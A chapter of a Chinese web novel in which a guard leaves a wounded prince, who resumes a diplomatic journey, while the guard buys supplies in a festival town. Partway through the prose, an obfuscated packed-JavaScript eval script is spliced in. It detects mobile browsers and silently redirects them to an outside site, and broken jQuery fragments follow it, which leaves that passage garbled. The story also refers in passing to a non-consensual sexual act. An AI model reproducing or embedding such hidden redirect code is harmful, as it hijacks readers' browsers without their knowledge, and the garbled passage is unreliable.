71.第71章、离开

作品:《古早主仆虐文里的暗卫跑了

    秦朗走出门,立刻有一只持剑的手伸出来挡住了他的去路。


    罗鸿那张脸臭得能滴出水来,眼神里充满了审视与戒备。


    “让开。”秦朗淡漠地看了他一眼。


    罗鸿正要说什么,内室便传来东方靖依旧威严的声音:“罗鸿,让他走。”


    “殿下!”罗鸿猛地扭头看向房门,脸上写满了不可置信。


    殿下费了这么多心思才抓住他,就这样轻易地放他离开?在做了这么胆大包天以下犯上的事后?!


    “让他走。”东方靖的声音重复了一遍,带着不容置疑。


    罗霍猛地吸了一口气,瞪着秦朗半晌,最终,他极其不甘愿地让开了一个身位。


    那双锐利的眼睛依旧死死地追在他身后,仿佛要用目光在他身上剜出几个洞来。


    秦朗似无所觉,径直走出仆茂家院门。


    阳光有些刺眼,他微微眯了眯眼,背影在院墙的阴影下顿了顿,终究没有回头,一步步消失在山道上。


    罗鸿盯着那空荡荡的门口,竟是半点犹豫也无,当真心疼他们家主子了。


    他收回目光,转身快步进了内室。


    “殿下!”他看着靠在床头、脸色依旧苍白的东方靖,声音里充满了不解与痛心,“您……您为何就这么放他走了?他那样对您……此等大逆不道!他这一去我们的人找不到他……”


    万一躲起来了呢?或者死外面了呢?后面的话罗鸿没敢说出口。


    他真得想不通,殿下费了那么大力气,吃了那么多苦头,甚至……甚至付出了那样的代价,才把人找回来,怎么就轻易放手了?


    东方靖缓缓抬起眼,目光平静,没有解释,只淡淡开口。


    “吩咐下去,即刻启程。我们延误的行程,必须尽快赶上去。”


    罗鸿迟疑了一下,还是忍不住低声道:“可是殿下,您的身体……撑得住吗?”


    东方靖的目光淡淡扫过来,“无妨。”


    罗鸿所有劝解的话都咽了回去,不敢再多言,低头退了出去,安排行程。


    马车很快准备好,罗鸿记挂着东方靖身上的伤,特意命人在车厢里铺了厚厚的软垫,力求减少颠簸。


    为人下属真的是太难了,担忧主子的身子,还要考虑主子的自尊心。


    东方靖即便一路能坐马车,但光走到马车里这段路看着也够呛。


    尽管他竭力维持着挺拔的身姿,但额角渗出的细密冷汗,苍白的脸,迟缓的步伐,尤其是上马车时,他扶着车厢壁,动作间的凝滞和僵硬,腰身几乎无法发力,怎么看都明显是在强撑。


    罗鸿几次欲言又止都憋了回去,他家殿下这是何苦呢,清心寡欲这么多年,就栽在秦朗那个小子身上了。


    关键是受这么大的罪,人家还抛下他头也不回的走了……


    不知道罗鸿心中所想,东方靖好不容易进入车厢,柔软的垫子承接住身体的重量,却依然无法完全缓解某些隐秘部位的钝痛和不适。


    他靠坐在车厢壁,闭上了眼心中复杂。从未想过,处于承受的一方会是这般滋味……


    这一刻,他竟然荒谬地感到一丝庆幸——庆幸昨夜失去理智强行索取的人是秦朗,而不是自己。


    若换做他强迫了秦朗……以那小子的性子,恐怕他们之间,就真的只剩下你死我活的仇恨,再无半点转圜余地了。


    “殿下,可要再歇息片刻?”罗鸿在车窗外低声询问,语气满是担忧。


    “不必,出发。”东方靖睁开眼,眼中已是一片沉静深邃,所有私人的情绪都被完美收敛。


    车轮辘辘,驶离了鹿鸣山,这一次,他们走的一往无前,朝着九巟国都鸣西城的方向疾驰而去。


    与此同时,秦朗牵着马,走进了离鹿阴山最近的一座小镇灵云镇补给。


    镇子不大,却因是通往九巟腹地的要道之一,显得颇为热闹,不少卖山货与药材的。街道两旁店铺林立,旌旗招展,小贩的吆喝声、讨价还价声、孩童的嬉笑声混杂在一起,充满了市井的鲜活气息。


    秦朗走在其中,有种恍若隔世之感,鹿鸣山短短几天,他的心境已然不同,喧嚣的人声与他仿佛隔着一层无形的墙。


    一人一马,沉默而孤独。


    这般独特的气质,引来周围行人若有似无的目光,秦朗对此浑然不觉。


    他的目光扫过街边的铺子,最终落在一家成衣铺前,再进入九巟腹地,三黎族的服装容易被人记住。


    铺子悬挂的铃铛“叮铃”一响,管事抬头看向他,放下算盘,脸上堆起职业化的笑容,“客官,您要……”


    “买衣服。”秦朗声音干涩沙哑,言简意赅。


    他从怀中掏出几块碎银放在柜台上:“两身,黑色的,结实耐磨,方便远行。”


    管事看了看那几块成色不错的碎银,又看了看秦朗虽然破烂但依稀能看出质料尚可的旧衣,以及他腰间那把用布缠着、却难掩寒光的匕首,心中掂量了一下,脸上的笑容真切了两分:“好嘞,客官稍等。”


    他转身朝里间喊道:“阿贵,拿两套黑色的劲装出来,要厚实些的!”


    一个十几岁的小伙计应声跑出来,手里抱着两套黑色粗布劲装,结果就撞上秦朗摘掉帽子的模样,他的神情明显一愣,似有些古怪。


    “磨蹭什么!快给客官看看!”管事瞪了他一眼。


    小伙计阿贵这才如梦初醒,将衣服捧到秦朗面前,眼睛努力不往他脑袋上瞧。


    秦朗没理会他的惊异,拿起衣服抖开看了看,料子粗糙但厚实,针脚也算密实。“就这个。”他指了指其中一套,“再拿一套里衣,包起来。”


    “好,好!”管事连忙亲自包好衣服,又找了些铜钱。


    秦朗接过包裹径直出了门。


    “怪哉,叔,你刚可有看到,那客官脑袋上竟然剃光了头发,难道是个僧人?”伙计凑近管事悄声说。


    “多管闲事,客户的事少谈论。”管事敲了一下伙计的脑袋,显然处事处事老道。“眼睛放亮一些,没看到那人腰间的匕首和那身气质,必然是行走江湖的,小心祸从口出。”


    伙计连连点头,“是、是,谢叔提点。”他又忍不住偷瞄一眼牵上马离开的秦朗。


    自从有了内力,秦朗的听觉就比从前提升了数倍,身后那两人的谈论他尽收耳中。


    确实,他现在这脑袋,像现代刚出狱的劳改犯,平白招人揣测,可惜没有假发,想着,他便看到一侧摊贩上的斗笠,拿起看了看,往头上一带,倒是刚刚好。


    “客官,十五文钱。”小贩客气道。


    秦朗付了钱,一路买了一些饼子馒头等干粮,又去杂货铺子添置了水囊火折子之类的东西,总算把原先丢失的那些行头都补上了。


    外面的喧嚣似乎更盛了,他这才注意到,这条街道上挂着许多彩色的布条和简易的灯笼,许多人的脸上都带着笑容,朝着城中心的方向涌去。


    隐约听到有人兴奋地谈论着“月神节”、“游街”、


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070056|193910||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “祭典”之类的词语。


    原来是个节日。


    秦朗牵着马,逆着欢乐的人流,一步步向城门方向走去,彩色的布条从他身边飘过,孩童举着糖人笑着跑过,情侣依偎着低语,小贩叫卖着节日特有的糕点和饰品……这一切的热闹、鲜活、温暖,都与他无关。


    他就像这片欢腾海洋中一块沉默而冰冷的礁石。


    若是香奴在,他们此刻就能加入这场欢乐中……


    心脏又传来一丝钝痛,秦朗缓缓攥紧了拳头,这一天下来他一直避免让自己想起过往的事,不去回忆,他才能让自己平静地去做该做的事。


    原本可以在镇子里留宿一晚,因了这场热闹,秦朗似刻意的逃离一般赶着宵禁前出了城门。


    翻身上马,最后看了一眼身后喧嚣渐远、彩灯逐渐亮起的小城,一夹马腹,朝着暮色中更深远的方向疾驰而去。


    与他前后脚进门的一行人中,低调的马车里,东方靖靠着软垫,闭目养神,脸色依旧苍白,但眉宇间属于上位者的沉稳与威仪已经重新凝聚。


    提前来打点的下属已经侯在城门口,见到罗鸿等人出现立刻上前引路,顺便递上了一样物件。


    罗鸿结果一看立刻递到马车里,被一双指骨修长有力的手接过。


    这是一份用蜡封好的薄薄密信,东方靖熟练地拆开蜡封,快速浏览起来。


    片刻后,他将密性在手中一捏,漫不经心地搓动几下,任灰烬随着窗外的风洒落。


    信是鸣西城的暗桩发来的,使团如今已经下塌别馆,九巟皇室十分重视,自然对使团的到来招待得十分周到。


    只是以国师姑射为首的百羽宫却安静的有些蹊跷,姑射经营多年,树大根深,且凭借蛊术和控制人心的手段,在朝野仍旧拥有大批拥趸,他们只是蛰伏下来,不可能当真听命国主。


    东方靖思绪回到密信的几个字上,西宁的人出现在鸣西城,到底意欲何为?


    是九巟国主在两手打算,还是百羽宫的下一步棋?


    东方靖他沉思片刻,沉声唤道:“罗鸿。”


    “殿下。”罗鸿的声音立刻在车窗外响起。


    “你派人去一趟骆越郡,探查一下那边有无异动。”


    骆越郡是九巟与西宁交界处,若是有人不想要东胤在九巟得到太多好处,那么引虎驱狼也未尝不可能。


    若是西宁插手,和谈就多了变数……


    “联络西宁的探子,我想知道这次来九巟的是谁。”东方靖继续下令。


    “是。”罗鸿应道,迟疑了一下,“殿下,我们此番是代表东胤与九巟和谈,是否需要陈兵渭南?”


    西宁国力一直隐隐有压东胤的架势,只是西宁帝年迈,晚年疑心病加重,据说那个与靖王殿下齐名的将军这两年日子不好过,朝中也不喜欢打仗,或许看到边境不稳,会有所忌惮。


    “暂时不必。”东方靖淡淡道,“西宁的人来了便来了吧,九巟越乱,对我们东胤未必是坏事。不过,也不能被西宁捡了便宜……尤其是百羽宫不能与之合作。” 好不容易摁下去的毒虫,可不能让它活回来。


    “盯紧百羽宫,有任何变动都要来报。”


    罗鸿抬手领命,“是。”


    东方靖不再说话,重新靠回垫子,目光投向车窗外飞速倒退的景物,手指无意识地摸向腰间那枚龙形玉佩原本所在的位置,结果摸了个空。


    想起到那枚代表他身份的玉佩送了那人,也不知道……他此刻到了哪里。